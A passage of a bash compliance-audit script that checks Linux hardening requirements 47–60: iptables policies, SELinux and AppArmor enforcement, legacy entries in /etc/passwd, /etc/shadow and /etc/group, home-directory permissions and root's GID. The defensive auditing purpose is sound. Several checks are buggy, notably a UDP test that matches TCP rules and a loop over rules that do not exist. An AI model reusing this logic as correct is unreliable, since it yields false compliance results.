iptables is used, policies for outbound and established connections must be configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"If iptables is used, policies for outbound and established connections must be configured.\"\nFAIL=0\nPASS=0\n\ntest_req47 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n IPTABLES_RULE_1=\"-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED -j ACCEPT\"\n IPTABLES_RULE_2=\"-A OUTPUT -p udp -m state --state NEW,ESTABLISHED -j ACCEPT\"\n IPTABLES_RULE_3=\"-A OUTPUT -p icmp -m state --state NEW,ESTABLISHED -j ACCEPT\"\n IPTABLES_RULE_4=\"-A INPUT -p tcp -m state --state ESTABLISHED -j ACCEPT\"\n IPTABLES_RULE_5=\"-A INPUT -p udp -m state --state ESTABLISHED -j ACCEPT\"\n IPTABLES_RULE_6=\"-A INPUT -p icmp -m state --state ESTABLISHED -j ACCEPT\"\n\n if [ \"$OS_MAIN_DISTRO\" != \"SUSE\" ]; then\n\n # Test 1/1\n NUM=1\n for CNT in 1 2 3 4 5 6; do\n IPTABLES_RULE=IPTABLES_RULE_$CNT\n IPTABLES_RULE_NEW=\"$(echo ${!IPTABLES_RULE} | sed 's/^.//' | sed 's/ -/ \\\\-/g')\"\n CHK_IPTABLES=\"$(iptables -S | grep -i \"$IPTABLES_RULE_NEW\" | wc -l)\"\n if [ $CHK_IPTABLES -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check iptables rule '\"${!IPTABLES_RULE}\"':\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check iptables rule '\"${!IPTABLES_RULE}\"':\\e[1;31m FAILED\\e[0m (rule missing)\"\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check IPTables configuration and rules: SKIPPED (Not implemented!)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Compliant;IPTables not implemented for Suse Linux\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req47 $REQ47 \"$REQ47_TXT\"\n\n# Req 48: If iptables is used, policies must exist for all ports in listening state.\nlet \"REQ_NR++\"\nREQ_TXT=\"If iptables is used, policies must exist for all ports in listening state.\"\nFAIL=0\nPASS=0\n\ntest_req48 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$OS_MAIN_DISTRO\" != \"SUSE\" ]; then\n\n # Test 1/3 TCP\n NUM=1\n IPTABLES_RULE=\"-A INPUT -p tcp -m state --state NEW -m tcp --dport\"\n IPTABLES_RULE_NEW=\"$(echo $IPTABLES_RULE | sed 's/^.//' | sed 's/ -/ \\\\-/g')\"\n CHK_IPTABLES=\"$(iptables -S | grep -i \"$IPTABLES_RULE_NEW\")\"\n if [ $(echo $CHK_IPTABLES | wc -l) -eq 1 ]; then\n CHK_PORTS=\"$(echo $CHK_IPTABLES | awk '{print $12}' | sort -u)\"\n for CHK in $CHK_PORTS; do\n if [ \"$CHK\" == \"$(echo $TCP_PORTS | grep -ow \"$CHK\")\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check iptables rules for TCP port:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check iptables rules for TCP port:\\e[1;31m FAILED\\e[0m (port $CHK not allowed)\";\n fi\n done\n else\n echo -e \"[Req-$REQ_NR: Test 1.1] Check iptables rules for TCP port: SKIPPED (no tcp input rule found)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;No TCP input rule found\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n \n # Test 2/3 UDP\n NUM=1\n IPTABLES_RULE=\"-A INPUT -p tcp -m state --state NEW -m udp --dport\"\n IPTABLES_RULE_NEW=\"$(echo $IPTABLES_RULE | sed 's/^.//' | sed 's/ -/ \\\\-/g')\"\n CHK_IPTABLES=\"$(iptables -S | grep -i \"$IPTABLES_RULE_NEW\")\"\n if [ $(echo $CHK_IPTABLES | wc -l) -eq 1 ]; then\n CHK_PORTS=\"$(echo $CHK_IPTABLES | awk '{print $12}' | sort -u)\"\n for CHK in $CHK_PORTS; do\n if [ \"$CHK\" == \"$(echo $UDP_PORTS | grep -ow \"$CHK\")\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check iptables rules for UDP port:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check iptables rules for UDP port:\\e[1;31m FAILED\\e[0m (port $CHK not allowed)\"\n fi\n done\n else\n echo -e \"[Req-$REQ_NR: Test 2.1] Check iptables rules for UDP port: SKIPPED (no tcp input rule found)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;No UDP input rule found\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n # Test 3/3 ICMP\n NUM=1\n IPTABLES_RULE=\"-A INPUT -p icmp -m state --state NEW,RELATED,ESTABLISHED -m icmp --icmp-type 8 -j ACCEPT\"\n IPTABLES_RULE_NEW=\"$(echo $IPTABLES_RULE | sed 's/^.//' | sed 's/ -/ \\\\-/g')\"\n CHK_IPTABLES=\"$(iptables -S | grep -i \"$IPTABLES_RULE_NEW\" | wc -l)\"\n if [ $CHK_IPTABLES -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check iptables rule '-A INPUT -p icmp':\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check iptables rule '-A INPUT -p icmp':\\e[1;31m FAILED\\e[0m (rule missing)\"\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check IPTables configuration and rules: SKIPPED (Not implemented!)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Compliant;IPTables not implemented for Suse Linux\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req48 $REQ48 \"$REQ48_TXT\"\n\n# Req 49: If iptables is used, the default policy must be configured to drop all traffic.\nlet \"REQ_NR++\"\nREQ_TXT=\"If iptables is used, the default policy must be configured to drop all traffic.\"\nFAIL=0\nPASS=0\n\ntest_req49 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n IPTABLES_RULE_1=\"-P INPUT DROP\"\n IPTABLES_RULE_2=\"-P FORWARD DROP\"\n IPTABLES_RULE_3=\"-P OUTPUT DROP\"\n\n if [ \"$OS_MAIN_DISTRO\" != \"SUSE\" ]; then\n\n # Test 1/1\n NUM=1\n for CNT in 1 2 3 4 5 6; do\n IPTABLES_RULE=IPTABLES_RULE_$CNT\n IPTABLES_RULE_NEW=\"$(echo ${!IPTABLES_RULE} | sed 's/^.//' | sed 's/ -/ \\\\-/g')\"\n CHK_IPTABLES=\"$(iptables -S | grep -i \"$IPTABLES_RULE_NEW\" | wc -l)\"\n if [ $CHK_IPTABLES -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check iptables rule '\"${!IPTABLES_RULE}\"':\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check iptables rule '\"${!IPTABLES_RULE}\"':\\e[1;31m FAILED\\e[0m (rule missing)\"\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check IPTables configuration and rules: SKIPPED (Not implemented!)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Compliant;IPTables not implemented for Suse Linux\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req49 $REQ49 \"$REQ49_TXT\"\n\n# Req 50: If a system has Internet facing services or is a virtualization host, a MAC solution must be used.\nlet \"REQ_NR++\"\nREQ_TXT=\"If a system has Internet facing services or is a virtualization host, a MAC solution must be used.\"\nFAIL=0\nPASS=0\n\ntest_req50 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n MAC_TOOLS=MAC_TOOLS_$OS_MAIN_DISTRO\n\n # Test 1/1\n NUM=1\n for CHK in ${!MAC_TOOLS}; do\n if [ \"$($PACKAGE 2>/dev/null | grep -ow $CHK | wc -l)\" -ne \"0\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if MAC package ($CHK) is installed:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if MAC package ($CHK) is installed:\\e[1;31m FAILED\\e[0m (present)\";\n fi\n done\n\n if [ \"$MAC_SOLUTION\" == \"selinux\" ]; then\n \n # Test 1/1\n CHK=$(sestatus 2>/dev/null | grep -i \"SELinux status\" | grep -owi \"enabled\" | tr '[:lower:]' '[:upper:]')\n NUM=1\n if [ \"$CHK\" == \"ENABLED\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if SELinux is enabled:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if SELinux is enabled:\\e[1;31m FAILED\\e[0m (SELinux is disabled)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check if SELinux is enabled: SKIPPED (SELinux not used)\";\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n if [ \"$MAC_SOLUTION\" == \"apparmor\" ]; then\n \n # Test 1/1\n CHK=$(aa-status 2>/dev/null | grep -i \"apparmor module is loaded\")\n NUM=1\n if [ -n \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if AppArmor is enabled:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if AppArmor is enabled:\\e[1;31m FAILED\\e[0m (AppArmor is disabled)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check if AppArmor is enabled: SKIPPED (AppArmor not used)\";\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req50 $REQ50 \"$REQ50_TXT\"\n\n# Req 51: If SELinux is used, it must not be disabled in bootloader configuration.\nlet \"REQ_NR++\"\nREQ_TXT=\"If SELinux is used, it must not be disabled in bootloader configuration.\"\nFAIL=0\nPASS=0\n\ntest_req51 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$MAC_SOLUTION\" == \"selinux\" ]; then\n # Test 1/2\n NUM=1\n CHK=$(grep -ow \"selinux=0\" $FILE_GRUB)\n\n if [ -z \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if SELinux is enabled grub config $FILE_GRUB:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if SELinux is enabled grub config $FILE_GRUB:\\e[1;31m FAILED\\e[0m (no config found)\";\n fi\n\n # Test 2/2\n NUM=1\n CHK=$(grep -ow \"enforcing=0\" $FILE_GRUB)\n\n if [ -z \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if SELinux is enabled grub config $FILE_GRUB:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if SELinux is enabled grub config $FILE_GRUB:\\e[1;31m FAILED\\e[0m (no config found)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check if SELinux is enabled grub config: SKIPPED (SELinux not used)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;SELinux is not used with used Linux\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req51 $REQ51 \"$REQ51_TXT\"\n\n# Req 52: If SELinux is used, its state must be enforced.\nlet \"REQ_NR++\"\nREQ_TXT=\"If SELinux is used, its state must be enforced.\"\nFAIL=0\nPASS=0\n\ntest_req52 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$MAC_SOLUTION\" == \"selinux\" ]; then\n # Test 1/2\n NUM=1\n FILE=\"$FILE_SELINUX\"\n CHK=$(grep -ow \"SELINUX=enforcing\" $FILE)\n \n if [ -n \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if enforcing is set in file '\"$FILE\"' for SELinux:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if enforcing is set in file '\"$FILE\"' for SELinux:\\e[1;31m FAILED\\e[0m (no config found)\";\n fi\n\n # Test 2/2\n NUM=1\n CHK=$(sestatus 2>/dev/null | grep -i \"Current mode\" | grep -owi \"enforcing\" | tr '[:lower:]' '[:upper:]')\n\n if [ \"$CHK\" == \"ENFORCING\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if enforcing is activated for SELinux:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if enforcing is activated for SELinux:\\e[1;31m FAILED\\e[0m (not enforced)\";\n fi\n \n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check if enforcing is activated for SELinux: SKIPPED (SELinux not used)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;SELinux is not used with used Linux\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n \n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req52 $REQ52 \"$REQ52_TXT\"\n\n# Req 53: If SELinux is used, the policy must be configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"If SELinux is used, the policy must be configured.\"\nFAIL=0\nPASS=0\n\ntest_req53 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$MAC_SOLUTION\" == \"selinux\" ]; then\n FILE=\"$FILE_SELINUX\"\n # Test 1/2\n NUM=1\n CHK=$(grep -ow \"SELINUXTYPE=targeted\" $FILE)\n\n if [ -n \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if targeted is set in file '\"$FILE\"' for SELinux:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if targeted is set in file '\"$FILE\"' for SELinux:\\e[1;31m FAILED\\e[0m (no config found)\";\n fi\n\n # Test 2/2\n\n NUM=1\n CHK=$(sestatus 2>/dev/null | grep -i \"Loaded policy name\" | grep -owi \"targeted\" | tr '[:lower:]' '[:upper:]')\n\n if [ \"$CHK\" == \"TARGETED\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if SELinux is set to targeted:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if SELinux is set to targeted:\\e[1;31m FAILED\\e[0m (not activated)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check if targeted is is set for SELinux: SKIPPED (SELinux not used)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;SELinux is not used with used Linux\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req53 $REQ53 \"$REQ53_TXT\"\n\n# Req 54: If SELinux is used, SETroubleshoot and MCS Translation Service must not be installed.\nlet \"REQ_NR++\"\nREQ_TXT=\"If SELinux is used, SETroubleshoot and MCS Translation Service must not be installed.\"\nFAIL=0\nPASS=0\n\ntest_req54 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$MAC_SOLUTION\" == \"selinux\" ]; then\n NUM=1\n for CHK in $SELINUX_SOFTWARE; do\n if [ \"$($PACKAGE 2>/dev/null | grep -ow $CHK | wc -l)\" -ne \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if $CHK is not installed:\\e[1;31m FAILED\\e[0m (present)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if $CHK is not installed:\\e[1;32m PASSED\\e[0m\";\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check if tool for SELinux are not installed: SKIPPED (SELinux not used)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;SELinux is not used with used Linux\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req54 $REQ54 \"$REQ54_TXT\"\n\n# Req 55: If AppArmor is used, it must not be disabled in bootloader configuration.\nlet \"REQ_NR++\"\nREQ_TXT=\"If AppArmor is used, it must not be disabled in bootloader configuration.\"\nFAIL=0\nPASS=0\n\ntest_req55 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$MAC_SOLUTION\" == \"apparmor\" ]; then\n # Test 1/1\n NUM=1\n CHK=$(grep -ow \"apparmor=0\" $FILE_GRUB)\n\n if [ -z \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if AppArmor is enabled grub config $FILE_GRUB:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if AppArmor is enabled grub config $FILE_GRUB:\\e[1;31m FAILED\\e[0m (no config found)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check if AppArmor is enabled grub config: SKIPPED (AppArmor not used)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;AppArmor is not used with used Linux\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req55 $REQ55 \"$REQ55_TXT\"\n\n# Req 56: AppArmor is used, its state must be enforced.\nlet \"REQ_NR++\"\nREQ_TXT=\"AppArmor is used, its state must be enforced.\"\nFAIL=0\nPASS=0\n\ntest_req56 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$MAC_SOLUTION\" == \"apparmor\" ]; then\n # Test 1/1\n NUM=1\n CHK=\"$(aa-status 2>/dev/null | grep \"profiles are in enforce mode\" | awk '{print $1}')\"\n\n if [ $CHK -gt 0 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if enforcing is activated for AppArmor:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if enforcing is activated for AppArmor:\\e[1;31m FAILED\\e[0m (not activated)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check if enforcing is activated for AppArmor: SKIPPED (AppArmor not used)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;AppArmor is not used with used Linux\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req56 $REQ56 \"$REQ56_TXT\"\n\n# Req 57: No legacy + entries must exist in files passwd, shadows and group.\nlet \"REQ_NR++\"\nREQ_TXT=\"No legacy + entries must exist in files passwd, shadows and group.\"\nFAIL=0\nPASS=0\n\ntest_req57 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n FILE_1=\"/etc/passwd\"\n FILE_2=\"/etc/shadow\"\n FILE_3=\"/etc/group\"\n CNT=1\n FILE=FILE_$CNT\n\n # Test 1/1\n NUM=1\n while [ $CNT -lt 4 ]; do\n CHK_FILE=\"$(awk -F\":\" '($1 == \"+\") {print $1}' ${!FILE} | wc -l)\" \n if [ $CHK_FILE -eq 0 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check file (${!FILE}) legacy + entries:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check file (${!FILE}) legacy + entries:\\e[1;31m FAILED\\e[0m (entries found)\"\n fi\n let CNT++\n FILE=FILE_$CNT;\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req57 $REQ57 \"$REQ57_TXT\"\n\n# Req 58: A user's home directory must be owned by the user and have mode 750 or more restrictive.\nlet \"REQ_NR++\"\nREQ_TXT=\"A user's home directory must be owned by the user and have mode 750 or more restrictive.\"\nFAIL=0\nPASS=0\nNUM1=1\nNUM2=1\nNUM3=1\n\ntest_req58 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n CHK_HOME=\"$(ls /home/)\"\n PRIV=\"750\"\n\n for CHK in $CHK_HOME; do\n\n # Test 1/3\n CHK_USER=\"$(stat -c %U /home/$CHK)\"\n if [ \"$CHK_USER\" == \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check file ($CHK) for correct user setting:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check file ($CHK) for correct user setting:\\e[1;31m FAILED\\e[0m (wrong user $CHK_USER)\"\n fi\n\n # Test 2/3\n CHK_GRP=\"$(stat -c %G /home/$CHK)\"\n if [ \"$CHK_GRP\" == \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check file ($CHK) for correct group setting:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check file ($CHK) for correct group setting:\\e[1;31m FAILED\\e[0m (wrong group $CHK_GRP)\"\n fi\n\n # Test 3/3\n CHK_PRIV=\"$(stat -c %a /home/$CHK)\"\n if [ $CHK_PRIV -le $PRIV ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM3++)))] Check file ($CHK) for correct privileges ($PRIV):\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM3++)))] Check file ($CHK) for correct privileges ($PRIV):\\e[1;31m FAILED\\e[0m (wrong privileges $CHK_PRIV)\"\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req58 $REQ58 \"$REQ58_TXT\"\n\n# Req 59: Default group for the root account must be GID 0.\nlet \"REQ_NR++\"\nREQ_TXT=\"Default group for the root account must be GID 0.\"\nFAIL=0\nPASS=0\n\ntest_req59 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n NUM=1\n CHK_GID=\"$(awk -F':' '{if ($1 == \"root\") print $4}' /etc/passwd)\"\n if [ \"$CHK_GID\" == \"0\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if group for root is GID 0:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if group for root is GID 0:\\e[1;31m FAILED\\e[0m (wrong GID $CHK_GID)\"\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req59 $REQ59 \"$REQ59_TXT\"\n\n# Req 60: Root must be the only UID 0 account.\nlet \"REQ_NR++\"\nREQ_TXT=\"Root must be the only UID 0 account.\"\nFAIL=0\nPASS=0\n\ntest_req60 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n NUM=1\n 